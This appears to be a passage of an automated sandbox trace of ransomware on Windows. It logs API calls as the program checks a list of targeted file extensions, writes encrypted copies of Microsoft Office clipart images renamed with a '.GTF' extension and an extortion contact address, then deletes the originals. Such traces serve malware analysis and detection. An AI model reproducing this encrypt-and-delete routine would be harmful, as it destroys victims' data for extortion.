	[0156.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0156.637] lstrlenW (lpString=".dbf") returned 4
	[0156.637] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0156.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0156.637] lstrlenW (lpString=".1cd") returned 4
	[0156.637] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0156.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0156.637] lstrlenW (lpString=".jpg") returned 4
	[0156.637] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0156.637] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0156.637] lstrlenW (lpString="J0099155.JPG") returned 12
	[0156.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0156.638] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=8826) returned 1
	[0156.638] CloseHandle (hObject=0x4a0) returned 1
	[0156.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 0x220
	[0156.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0156.639] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.639] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0156.639] GetLastError () returned 0x0
	[0156.639] ReadFile (in: hFile=0x4a0, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x227a, lpOverlapped=0x0) returned 1
	[0156.641] WriteFile (in: hFile=0x4b0, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x2280, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x2280, lpOverlapped=0x0) returned 1
	[0156.642] ReadFile (in: hFile=0x4a0, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.642] WriteFile (in: hFile=0x4b0, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0156.642] SetEndOfFile (hFile=0x4b0) returned 1
	[0156.642] CloseHandle (hObject=0x4b0) returned 1
	[0156.643] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.643] SetEndOfFile (hFile=0x4a0) returned 1
	[0156.647] CloseHandle (hObject=0x4a0) returned 1
	[0156.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0156.648] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 1
	[0156.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0156.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0156.648] lstrlenW (lpString=".doc") returned 4
	[0156.648] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0156.648] lstrlenW (lpString=".docx") returned 5
	[0156.648] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0156.648] lstrlenW (lpString=".pdf") returned 4
	[0156.648] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0156.648] lstrlenW (lpString=".xls") returned 4
	[0156.648] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0156.648] lstrlenW (lpString=".xlsx") returned 5
	[0156.648] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0156.649] lstrlenW (lpString=".ppt") returned 4
	[0156.649] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0156.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0156.649] lstrlenW (lpString=".zip") returned 4
	[0156.649] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0156.649] lstrlenW (lpString=".rar") returned 4
	[0156.649] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0156.649] lstrlenW (lpString=".bz2") returned 4
	[0156.649] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0156.649] lstrlenW (lpString=".7z") returned 3
	[0156.649] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0156.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0156.649] lstrlenW (lpString=".dbf") returned 4
	[0156.649] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0156.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0156.649] lstrlenW (lpString=".1cd") returned 4
	[0156.649] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0156.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0156.649] lstrlenW (lpString=".jpg") returned 4
	[0156.649] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0156.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0156.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0156.649] lstrlenW (lpString=".doc") returned 4
	[0156.649] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0156.649] lstrlenW (lpString=".docx") returned 5
	[0156.649] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0156.649] lstrlenW (lpString=".pdf") returned 4
	[0156.649] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0156.649] lstrlenW (lpString=".xls") returned 4
	[0156.649] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0156.649] lstrlenW (lpString=".xlsx") returned 5
	[0156.649] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0156.649] lstrlenW (lpString=".ppt") returned 4
	[0156.649] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0156.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0156.649] lstrlenW (lpString=".zip") returned 4
	[0156.649] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0156.650] lstrlenW (lpString=".rar") returned 4
	[0156.650] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0156.650] lstrlenW (lpString=".bz2") returned 4
	[0156.650] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0156.650] lstrlenW (lpString=".7z") returned 3
	[0156.650] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0156.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0156.650] lstrlenW (lpString=".dbf") returned 4
	[0156.650] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0156.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0156.650] lstrlenW (lpString=".1cd") returned 4
	[0156.650] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0156.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0156.650] lstrlenW (lpString=".jpg") returned 4
	[0156.650] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0156.650] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0156.650] lstrlenW (lpString="J0099156.JPG") returned 12
	[0156.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0156.650] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=13954) returned 1
	[0156.651] CloseHandle (hObject=0x4a0) returned 1
	[0156.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 0x220
	[0156.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0156.651] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.651] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0156.652] GetLastError () returned 0x0
	[0156.652] ReadFile (in: hFile=0x4a0, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x3682, lpOverlapped=0x0) returned 1
	[0156.873] WriteFile (in: hFile=0x4b0, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x3690, lpOverlapped=0x0) returned 1
	[0156.874] ReadFile (in: hFile=0x4a0, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.874] WriteFile (in: hFile=0x4b0, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0156.874] SetEndOfFile (hFile=0x4b0) returned 1
	[0157.452] CloseHandle (hObject=0x4b0) returned 1
	[0157.452] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.453] SetEndOfFile (hFile=0x4a0) returned 1
	[0157.492] CloseHandle (hObject=0x4a0) returned 1
	[0157.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0157.493] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 1
	[0157.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0157.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0157.493] lstrlenW (lpString=".doc") returned 4
	[0157.493] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0157.493] lstrlenW (lpString=".docx") returned 5
	[0157.493] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0157.493] lstrlenW (lpString=".pdf") returned 4
	[0157.494] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0157.494] lstrlenW (lpString=".xls") returned 4
	[0157.494] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0157.494] lstrlenW (lpString=".xlsx") returned 5
	[0157.494] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0157.494] lstrlenW (lpString=".ppt") returned 4
	[0157.494] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0157.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0157.494] lstrlenW (lpString=".zip") returned 4
	[0157.494] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0157.494] lstrlenW (lpString=".rar") returned 4
	[0157.494] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0157.494] lstrlenW (lpString=".bz2") returned 4
	[0157.494] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0157.494] lstrlenW (lpString=".7z") returned 3
	[0157.494] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0157.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0157.494] lstrlenW (lpString=".dbf") returned 4
	[0157.494] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0157.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0157.494] lstrlenW (lpString=".1cd") returned 4
	[0157.494] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0157.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0157.494] lstrlenW (lpString=".jpg") returned 4
	[0157.494] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0157.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0157.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0157.494] lstrlenW (lpString=".doc") returned 4
	[0157.494] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0157.494] lstrlenW (lpString=".docx") returned 5
	[0157.494] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0157.494] lstrlenW (lpString=".pdf") returned 4
	[0157.494] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0157.494] lstrlenW (lpString=".xls") returned 4
	[0157.494] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0157.495] lstrlenW (lpString=".xlsx") returned 5
	[0157.495] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0157.495] lstrlenW (lpString=".ppt") returned 4
	[0157.495] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0157.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0157.495] lstrlenW (lpString=".zip") returned 4
	[0157.495] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0157.495] lstrlenW (lpString=".rar") returned 4
	[0157.495] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0157.495] lstrlenW (lpString=".bz2") returned 4
	[0157.495] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0157.495] lstrlenW (lpString=".7z") returned 3
	[0157.495] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0157.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0157.495] lstrlenW (lpString=".dbf") returned 4
	[0157.495] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0157.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0157.495] lstrlenW (lpString=".1cd") returned 4
	[0157.495] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0157.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0157.495] lstrlenW (lpString=".jpg") returned 4
	[0157.495] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0157.495] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0157.495] lstrlenW (lpString="J0099167.JPG") returned 12
	[0157.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0157.496] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=43949) returned 1
	[0157.496] CloseHandle (hObject=0x4a0) returned 1
	[0157.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 0x220
	[0157.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0157.497] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.497] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0157.497] GetLastError () returned 0x0
	[0157.497] ReadFile (in: hFile=0x4a0, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0xabad, lpOverlapped=0x0) returned 1
	[0157.500] WriteFile (in: hFile=0x4a4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xabb0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xabb0, lpOverlapped=0x0) returned 1
	[0157.502] ReadFile (in: hFile=0x4a0, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.502] WriteFile (in: hFile=0x4a4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0157.502] SetEndOfFile (hFile=0x4a4) returned 1
	[0157.502] CloseHandle (hObject=0x4a4) returned 1
	[0157.502] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.502] SetEndOfFile (hFile=0x4a0) returned 1
	[0157.505] CloseHandle (hObject=0x4a0) returned 1
	[0157.505] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0157.506] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 1
	[0157.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0157.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0157.506] lstrlenW (lpString=".doc") returned 4
	[0157.506] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0157.506] lstrlenW (lpString=".docx") returned 5
	[0157.506] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0157.506] lstrlenW (lpString=".pdf") returned 4
	[0157.506] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0157.506] lstrlenW (lpString=".xls") returned 4
	[0157.506] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0157.506] lstrlenW (lpString=".xlsx") returned 5
	[0157.506] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0157.506] lstrlenW (lpString=".ppt") returned 4
	[0157.506] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0157.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0157.507] lstrlenW (lpString=".zip") returned 4
	[0157.507] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0157.507] lstrlenW (lpString=".rar") returned 4
	[0157.507] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0157.507] lstrlenW (lpString=".bz2") returned 4
	[0157.507] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0157.507] lstrlenW (lpString=".7z") returned 3
	[0157.507] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0157.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0157.507] lstrlenW (lpString=".dbf") returned 4
	[0157.507] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0157.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0157.507] lstrlenW (lpString=".1cd") returned 4
	[0157.507] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0157.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0157.507] lstrlenW (lpString=".jpg") returned 4
	[0157.507] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0157.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0157.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0157.507] lstrlenW (lpString=".doc") returned 4
	[0157.507] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0157.507] lstrlenW (lpString=".docx") returned 5
	[0157.507] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0157.507] lstrlenW (lpString=".pdf") returned 4
	[0157.507] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0157.507] lstrlenW (lpString=".xls") returned 4
	[0157.507] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0157.507] lstrlenW (lpString=".xlsx") returned 5
	[0157.507] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0157.507] lstrlenW (lpString=".ppt") returned 4
	[0157.507] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0157.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0157.507] lstrlenW (lpString=".zip") returned 4
	[0157.507] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0157.507] lstrlenW (lpString=".rar") returned 4
	[0157.507] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0157.508] lstrlenW (lpString=".bz2") returned 4
	[0157.508] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
